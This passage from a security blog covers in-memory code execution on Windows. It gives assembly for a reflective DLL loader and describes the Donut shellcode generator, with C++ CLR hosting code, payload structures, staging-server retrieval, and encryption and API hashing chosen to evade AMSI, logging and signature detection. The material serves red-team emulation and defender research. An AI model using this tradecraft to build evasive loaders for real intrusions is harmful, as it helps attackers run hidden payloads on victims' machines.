      mov    ecx, [edx + IMAGE_SECTION_HEADER.SizeOfRawData]
      rep    movsb
      popad
      add    edx, IMAGE_SECTION_HEADER_size
      loop   map_section
      mov    ebp, edi
      ; process the import table
      pushad
      mov    ecx, [esp + _ds.ImportTable + pushad_t_size]
      jecxz  imp_l2
      lea    ebx, [ecx + ebp]
imp_l0:
      ; esi / oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk);
      mov    esi, [ebx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
      add    esi, ebp
      ; edi / ft  = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);
      mov    edi, [ebx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
      add    edi, ebp
      mov    ecx, [ebx+IMAGE_IMPORT_DESCRIPTOR.Name]
      add    ebx, IMAGE_IMPORT_DESCRIPTOR_size
      jecxz  imp_l2
      add    ecx, ebp         ; name = RVA2VA(PCHAR, cs, imp->Name);
      ; dll = LoadLibrary(name);
      push   ecx
      call   dword[esp + _ds.LoadLibraryA + 4 + pushad_t_size]  
      xchg   edx, eax         ; edx = dll
imp_l1:
      lodsd                   ; eax = oft->u1.AddressOfData, oft++;
      xchg   eax, ecx
      jecxz  imp_l0           ; if (oft->u1.AddressOfData == 0) break; 
      btr    ecx, 31
      jc     imp_Lx           ; IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)
      ; RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfData)
      lea    ecx, [ebp + ecx + IMAGE_IMPORT_BY_NAME.Name]
imp_Lx:
      ; eax = GetProcAddress(dll, ecx);
      push   edx
      push   ecx
      push   edx
      call   dword[esp + _ds.GetProcAddress + 3*4 + pushad_t_size]  
      pop    edx
      stosd                   ; ft->u1.Function = eax
      jmp    imp_l1
imp_l2:
      popad
      ; ibr  = RVA2VA(PIMAGE_BASE_RELOCATION, cs, dir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
      mov    esi, [esp + _ds.BaseRelocationTable]
      add    esi, ebp
      ; ofs  = (PBYTE)cs - opt->ImageBase;
      mov    ebx, ebp
      sub    ebp, [esp + _ds.ImageBase]
reloc_L0:
      ; while (ibr->VirtualAddress != 0) {
      lodsd                  ; eax = ibr->VirtualAddress
      xchg   eax, ecx
      jecxz  call_entrypoint
      lodsd                  ; skip ibr->SizeOfBlock
      lea    edi, [esi + eax - 8]
reloc_L1:
      lodsw                  ; ax = *(WORD*)list;
      and    eax, 0xFFF      ; eax = list->offset
      jz     reloc_L2        ; IMAGE_REL_BASED_ABSOLUTE is used for padding
      add    eax, ecx        ; eax += ibr->VirtualAddress
      add    eax, ebx        ; eax += cs
      add    [eax], ebp      ; *(DWORD*)eax += ofs
      ; ibr = (PIMAGE_BASE_RELOCATION)list;
reloc_L2:
      ; (PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock
      cmp    esi, edi
      jne    reloc_L1
      jmp    reloc_L0
call_entrypoint:
  %ifndef EXE
      push   ecx                 ; lpvReserved
      push   DLL_PROCESS_ATTACH  ; fdwReason    
      push   ebx                 ; HINSTANCE   
      ; DllMain = RVA2VA(entry_exe, cs, opt->AddressOfEntryPoint);
      add    ebx, [esp + _ds.AddressOfEntryPoint + 3*4]
  %else
      add    ebx, [esp + _ds.AddressOfEntryPoint]
  %endif
      call   ebx
      popad                  ; release _ds
      popad                  ; restore registers
      ret

Running a DLL from memory isn’t difficult if we ignore the export table, resources, TLS and subsystem. The only requirement is that the DLL has a relocation section. The C generated assembly will be used in a new version of Donut while sources in this post can be found here.

Posted in assembly, injection, programming, security, shellcode, windows | Tagged , , , | 4 Comments

Shellcode: Loading .NET Assemblies From Memory

Introduction

The dot net Framework can be found on almost every device running Microsoft Windows. It is popular among professionals involved in both attacking (Red Team) and defending (Blue Team) a Windows-based device. In 2015, the Antimalware Scan Interface (AMSI) was integrated with various Windows components used to execute scripts (VBScript, JScript, PowerShell). Around the same time, enhanced logging or Script Block Logging was added to PowerShell that allows capturing the full contents of scripts being executed, thereby defeating any obfuscation used. To remain ahead of blue teams, red teams had to go another layer deeper into the dot net framework by using assemblies. Typically written in C#, assemblies provide red teams with all the functionality of PowerShell, but with the distinct advantage of loading and executing entirely from memory. In this post, I will briefly discuss a tool called Donut, that when given a .NET assembly, class name, method, and optional parameters, will generate a position-independent code (PIC) or shellcode that can load a .NET assembly from memory. The project was a collaborative effort between myself and TheWover who has blogged about donut here.

Common Language Runtime (CLR) Hosting Interfaces

The CLR is the virtual machine component while the ICorRuntimeHost interface available since v1.0 of the framework (released in 2002) facilitates hosting .NET assemblies. This interface was superseded by ICLRRuntimeHost when v2.0 of the framework was released in 2006, and this was superseded by ICLRMetaHost when v4.0 of the framework was released in 2009. Although deprecated, ICorRuntimeHost currently provides the easiest way to load assemblies from memory. There are a variety of ways to instantiate this interface, but the most popular appears to be through one of the following:

CorBindToRuntime and CorBindToRuntimeEx functions perform the same operation, but the CorBindToRuntimeEx function allows us to specify the behavior of the CLR. CLRCreateInstance avoids having to initialize Component Object Model (COM) but is not implemented prior to v4.0 of the framework. The following code in C++ demonstrates running a dot net assembly from memory.

#include <windows.h>
#include <oleauto.h>
#include <mscoree.h>
#include <comdef.h>

#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <sys/stat.h>

#import "mscorlib.tlb" raw_interfaces_only

void rundotnet(void *code, size_t len) {
    HRESULT                  hr;
    ICorRuntimeHost          *icrh;
    IUnknownPtr              iu;
    mscorlib::_AppDomainPtr  ad;
    mscorlib::_AssemblyPtr   as;
    mscorlib::_MethodInfoPtr mi;
    VARIANT                  v1, v2;
    SAFEARRAY                *sa;
    SAFEARRAYBOUND           sab;
    
    printf("CoCreateInstance(ICorRuntimeHost).\n");
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    
    hr = CoCreateInstance(
      CLSID_CorRuntimeHost, 
      NULL, 
      CLSCTX_ALL,
      IID_ICorRuntimeHost, 
      (LPVOID*)&icrh);
      
    if(FAILED(hr)) return;
    
    printf("ICorRuntimeHost::Start()\n");
    hr = icrh->Start();
    if(SUCCEEDED(hr)) {
      printf("ICorRuntimeHost::GetDefaultDomain()\n");
      hr = icrh->GetDefaultDomain(&iu);
      if(SUCCEEDED(hr)) {
        printf("IUnknown::QueryInterface()\n");
        hr = iu->QueryInterface(IID_PPV_ARGS(&ad));
        if(SUCCEEDED(hr)) {
          sab.lLbound   = 0;
          sab.cElements = len;
          printf("SafeArrayCreate()\n");
          sa = SafeArrayCreate(VT_UI1, 1, &sab);
          if(sa != NULL) {
            CopyMemory(sa->pvData, code, len);
            printf("AppDomain::Load_3()\n");
            hr = ad->Load_3(sa, &as);
            if(SUCCEEDED(hr)) {
              printf("Assembly::get_EntryPoint()\n");
              hr = as->get_EntryPoint(&mi);
              if(SUCCEEDED(hr)) {
                v1.vt    = VT_NULL;
                v1.plVal = NULL;
                printf("MethodInfo::Invoke_3()\n");
                hr = mi->Invoke_3(v1, NULL, &v2);
                mi->Release();
              }
              as->Release();
            }
            SafeArrayDestroy(sa);
          }
          ad->Release();
        }
        iu->Release();
      }
      icrh->Stop();
    }
    icrh->Release();
}

int main(int argc, char *argv[])
{
    void *mem;
    struct stat fs;
    FILE *fd;
    
    if(argc != 2) {
      printf("usage: rundotnet <.NET assembly>\n");
      return 0;
    }
    
    // 1. get the size of file
    stat(argv[1], &fs);
    
    if(fs.st_size == 0) {
      printf("file is empty.\n");
      return 0;
    }
    
    // 2. try open assembly
    fd = fopen(argv[1], "rb");
    if(fd == NULL) {
      printf("unable to open \"%s\".\n", argv[1]);
      return 0;
    }
    // 3. allocate memory 
    mem = malloc(fs.st_size);
    if(mem != NULL) {
      // 4. read file into memory
      fread(mem, 1, fs.st_size, fd);
      // 5. run the program from memory
      rundotnet(mem, fs.st_size);
      // 6. free memory
      free(mem);
    }
    // 7. close assembly
    fclose(fd);
    
    return 0;
}

The following is a simple Hello, World! example in C# that when compiled with csc.exe will generate a dot net assembly for testing the loader.

// A Hello World! program in C#.
using System;
namespace HelloWorld
{
    class Hello 
    {
        static void Main() 
        {
            Console.WriteLine("Hello World!");
        }
    }
}

Compiling and running both of these sources gives the following results.

That’s a basic implementation of executing dot net assemblies and doesn’t take into consideration what runtime versions of the framework are supported. The shellcode works differently by resolving the address of CorBindToRuntime and CLRCreateInstance together which is similar to AssemblyLoader by subTee. If CLRCreateInstance is successfully resolved and invocation returns E_NOTIMPL or “Not implemented”, we execute CorBindToRuntime with the pwszVersion parameter set to NULL, which simply requests the latest version available. If we request a specific version from CorBindToRuntime that is not supported by the system, a host process running the shellcode might display an error message. For example, the following screenshot shows a request for v4.0.30319 on a Windows 7 machine that only supports v3.5.30729.5420.

You may be asking why the OLE functions used in the hosting example are not also used in the shellcode. OLE functions are sometimes referenced in another DLL like COMBASE instead of OLE32. xGetProcAddress can handle forward references, but for now at least, the shellcode uses a combination of CorBindToRuntime and CLRCreateInstance. CoCreateInstance may be used in newer versions.

Defining .NET Types

Types are accessible from an unmanaged C++ application using the #import directive. The hosting example uses _AppDomain, _Assembly and _MethodInfo interfaces defined in mscorlib.tlb. The problem, however, is that there’s no definition of the interfaces anywhere in the public version of the Windows SDK. To use a dot net type from lower-level languages like assembly or C, we first have to manually define them. The type information can be enumerated using the LoadTypeLib API which returns a pointer to the ITypeLib interface. This interface will retrieve information about the library while ITypeInfo will retrieve information about the library interfaces, methods and variables. I found the open source application Olewoo useful for examining mscorlib.tlb. If we ignore all the concepts of Object Oriented Programming (OOP) like class, object, inheritance, encapsulation, abstraction, polymorphism..etc, an interface can be viewed from a lower-level as nothing more than a pointer to a data structure containing pointers to functions/methods. I could not find any definition of the required interfaces online except for one file in phplib that partially defines the _AppDomain interface. Based on that example, I created the other interfaces necessary for loading assemblies. The following method is a member of the _AppDomain interface.

        HRESULT (STDMETHODCALLTYPE *InvokeMember_3)(
          IType        *This,
          BSTR         name,
          BindingFlags invokeAttr,
          IBinder      *Binder,
          VARIANT      Target,
          SAFEARRAY    *args,
          VARIANT      *pRetVal);

Although no methods of the IBinder interface are used in the shellcode and the type could safely be changed to void *, the following is defined for future reference. The DUMMY_METHOD macro simply defines a function pointer.

    typedef struct _Binder IBinder;

    #undef DUMMY_METHOD
    #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This)
    
    typedef struct _BinderVtbl {
        HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
          IBinder * This,
          /* [in] */ REFIID riid,
          /* [iid_is][out] */ void **ppvObject);

        ULONG ( STDMETHODCALLTYPE *AddRef )(
          IBinder * This);

        ULONG ( STDMETHODCALLTYPE *Release )(
          IBinder * This);
          
        DUMMY_METHOD(GetTypeInfoCount);
        DUMMY_METHOD(GetTypeInfo);
        DUMMY_METHOD(GetIDsOfNames);
        DUMMY_METHOD(Invoke);
        DUMMY_METHOD(ToString);
        DUMMY_METHOD(Equals);
        DUMMY_METHOD(GetHashCode);
        DUMMY_METHOD(GetType);
        DUMMY_METHOD(BindToMethod);
        DUMMY_METHOD(BindToField);
        DUMMY_METHOD(SelectMethod);
        DUMMY_METHOD(SelectProperty);
        DUMMY_METHOD(ChangeType);
        DUMMY_METHOD(ReorderArgumentArray);
    } BinderVtbl;
    
    typedef struct _Binder {
      BinderVtbl *lpVtbl;
    } Binder;

Methods required to load assemblies from memory are defined in payload.h.

Donut Instance

The shellcode will always be combined with a block of data referred to as an Instance. This can be considered the “data segment” of the shellcode. It contains the names of DLL to load before attempting to resolve API, 64-bit hashes of API strings, COM GUIDs relevant for loading .NET assemblies into memory and decryption keys for both the Instance, and the Module if one is stored on a staging server. Many shellcodes written in C tend to store strings on the stack, but tools like FireEye Labs Obfuscated String Solver can recover them with relative ease, helping to analyze the code much faster. One advantage of keeping strings in a separate data block is when it comes to the permutation of the code. It’s possible to change the code while retaining the functionality, but never having to work with “read-only” immediate values that would complicate the process and significantly increase the size of the code. The following structure represents what is placed after a call opcode and before a pop ecx / pop rcx. The fastcall convention is used for both x86 and x86-64 shellcodes and this makes it convenient to load a pointer to the Instance in ecx or rcx register.

typedef struct _DONUT_INSTANCE {
    uint32_t    len;                          // total size of instance
    DONUT_CRYPT key;                          // decrypts instance
    // everything from here is encrypted
    
    int         dll_cnt;                      // the number of DLL to load before resolving API
    char        dll_name[DONUT_MAX_DLL][32];  // a list of DLL strings to load
    uint64_t    iv;                           // the 64-bit initial value for maru hash
    int         api_cnt;                      // the 64-bit hashes of API required for instance to work

    union {
      uint64_t  hash[48];                     // holds up to 48 api hashes
      void     *addr[48];                     // holds up to 48 api addresses
      // include prototypes only if header included from payload.h
      #ifdef PAYLOAD_H
      struct {
        // imports from kernel32.dll
        LoadLibraryA_t             LoadLibraryA;
        GetProcAddress_t           GetProcAddress;
        VirtualAlloc_t             VirtualAlloc;             
        VirtualFree_t              VirtualFree;  
        
        // imports from oleaut32.dll
        SafeArrayCreate_t          SafeArrayCreate;          
        SafeArrayCreateVector_t    SafeArrayCreateVector;    
        SafeArrayPutElement_t      SafeArrayPutElement;      
        SafeArrayDestroy_t         SafeArrayDestroy;         
        SysAllocString_t           SysAllocString;           
        SysFreeString_t            SysFreeString;            
        
        // imports from wininet.dll
        InternetCrackUrl_t         InternetCrackUrl;         
        InternetOpen_t             InternetOpen;             
        InternetConnect_t          InternetConnect;          
        InternetSetOption_t        InternetSetOption;        
        InternetReadFile_t         InternetReadFile;         
        InternetCloseHandle_t      InternetCloseHandle;      
        HttpOpenRequest_t          HttpOpenRequest;          
        HttpSendRequest_t          HttpSendRequest;          
        HttpQueryInfo_t            HttpQueryInfo;
        
        // imports from mscoree.dll
        CorBindToRuntime_t         CorBindToRuntime;
        CLRCreateInstance_t        CLRCreateInstance;
      };
      #endif
    } api;
    
    // GUID required to load .NET assembly
    GUID xCLSID_CLRMetaHost;
    GUID xIID_ICLRMetaHost;  
    GUID xIID_ICLRRuntimeInfo;
    GUID xCLSID_CorRuntimeHost;
    GUID xIID_ICorRuntimeHost;
    GUID xIID_AppDomain;
    
    DONUT_INSTANCE_TYPE type;  // PIC or URL 
    
    struct {
      char url[DONUT_MAX_URL];
      char req[16];            // just a buffer for "GET"
    } http;

    uint8_t     sig[DONUT_MAX_NAME];          // string to hash
    uint64_t    mac;                          // to verify decryption ok
    
    DONUT_CRYPT mod_key;       // used to decrypt module
    uint64_t    mod_len;       // total size of module
    
    union {
      PDONUT_MODULE p;         // for URL
      DONUT_MODULE  x;         // for PIC
    } module;
} DONUT_INSTANCE, *PDONUT_INSTANCE;

Donut Module

A dot net assembly is stored in a data structure referred to as a Module. It can be stored with an Instance or on a staging server that the shellcode will retrieve it from. Inside the module will be the assembly, class name, method, and optional parameters. The sig value will contain a random 8-byte string that when processed with the Maru hash function will generate a 64-bit value that should equal the value of mac. This is to verify decryption of the module was successful. The Module key is stored in the Instance embedded with the shellcode.

// everything required for a module goes into the following structure
typedef struct _DONUT_MODULE {
    DWORD   type;                                   // EXE or DLL
    WCHAR   runtime[DONUT_MAX_NAME];                // runtime version
    WCHAR   domain[DONUT_MAX_NAME];                 // domain name to use
    WCHAR   cls[DONUT_MAX_NAME];                    // name of class and optional namespace
    WCHAR   method[DONUT_MAX_NAME];                 // name of method to invoke
    DWORD   param_cnt;                              // number of parameters to method
    WCHAR   param[DONUT_MAX_PARAM][DONUT_MAX_NAME]; // string parameters passed to method
    CHAR    sig[DONUT_MAX_NAME];                    // random string to verify decryption
    ULONG64 mac;                                    // to verify decryption ok
    DWORD   len;                                    // size of .NET assembly
    BYTE    data[4];                                // .NET assembly file
} DONUT_MODULE, *PDONUT_MODULE;

Random Keys

On Windows, CryptGenRandom generates cryptographically secure random values while on Linux, /dev/urandom is used instead of /dev/random because the latter blocks on read attempts. Thomas Huhn writes in Myths about /dev/urandom that /dev/urandom is the preferred source of cryptographic randomness on Linux. Now, I don’t suggest any of you reuse CreateRandom to generate random keys, but that’s how they’re generated in Donut.

Random Strings

Application Domain names are generated using a random string unless specified by the user generating a payload. If a donut module is stored on a staging server, a random name is generated for that too. The function that handles this is aptly named GenRandomString. Using random bytes from CreateRandom, a string is derived from the letters “HMN34P67R9TWCXYF”. The selection of these letters is based on a post by trepidacious about unambiguous characters.

Symmetric Encryption

An involution is simply a function that is its own inverse and many tools use involutions to obfuscate the code. If you’ve ever reverse engineered malware, you will no doubt be familiar with the eXclusive-OR operation that is used quite a lot because of its simplicity. A more complicated example of involutions can be the non-linear operation used for the Noekeon block cipher. Instead of involutions, Donut uses the Chaskey block cipher in Counter (CTR) mode to encrypt the module with the decryption key embedded in the shellcode. If a Donut module is recovered from a staging server, the only way to get information about what’s inside it is to recover the shellcode, find a weakness with the CreateRandom function or break the Chaskey cipher.

static void chaskey(void *mk, void *p) {
    uint32_t i,*w=p,*k=mk;

    // add 128-bit master key
    for(i=0;i<4;i++) w[i]^=k[i];
    
    // apply 16 rounds of permutation
    for(i=0;i<16;i++) {
      w[0] += w[1],
      w[1]  = ROTR32(w[1], 27) ^ w[0],
      w[2] += w[3],
      w[3]  = ROTR32(w[3], 24) ^ w[2],
      w[2] += w[1],
      w[0]  = ROTR32(w[0], 16) + w[3],
      w[3]  = ROTR32(w[3], 19) ^ w[0],
      w[1]  = ROTR32(w[1], 25) ^ w[2],
      w[2]  = ROTR32(w[2], 16);
    }
    // add 128-bit master key
    for(i=0;i<4;i++) w[i]^=k[i];
}

Chaskey was selected because it’s compact, simple to implement and doesn’t contain constants that would be useful in generating simple detection signatures. The main downside is that Chaskey is relatively unknown and therefore hasn’t received as much cryptanalysis as AES has. When Chaskey was first published in 2014, the recommended number of rounds was 8. In 2015, an attack against 7 of the 8 rounds was discovered showing that the number of rounds was too low of a security margin. In response to this attack, the designers proposed 12 rounds, but Donut uses the Long-term Support (LTS) version with 16 rounds.

API Hashing

If the hash of an API string is well known in advance of a memory scan, detecting Donut would be much easier. It was suggested in Windows API hashing with block ciphers that introducing entropy into the hashing process would help code evade detection for longer. Donut uses the Maru hash function which is built atop of the Speck block cipher. It uses a Davies-Meyer construction and padding similar to what’s used in MD4 and MD5. A 64-bit Initial Value (IV) is generated randomly and used as the plaintext to encrypt while the API string is used as the key.

static uint64_t speck(void *mk, uint64_t p) {
    uint32_t k[4], i, t;
    union {
      uint32_t w[2];
      uint64_t q;
    } x;
    
    // copy 64-bit plaintext to local buffer
    x.q = p;
    
    // copy 128-bit master key to local buffer
    for(i=0;i<4;i++) k[i]=((uint32_t*)mk)[i];
    
    for(i=0;i<27;i++) {
      // donut_encrypt 64-bit plaintext
      x.w[0] = (ROTR32(x.w[0], 8) + x.w[1]) ^ k[0];
      x.w[1] =  ROTR32(x.w[1],29) ^ x.w[0];
      
      // create next 32-bit subkey
      t = k[3];
      k[3] = (ROTR32(k[1], 8) + k[0]) ^ i;
      k[0] =  ROTR32(k[0],29) ^ k[3];
      k[1] = k[2]; k[2] = t;
    }
    // return 64-bit ciphertext
    return x.q;
}

Summary

Donut is provided as a demonstration of CLR Injection through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully, that is correct. Source code can be found here.

Posted in assembly, encryption, malware, programming, security, shellcode, windows | Tagged , , , , , , | 2 Comments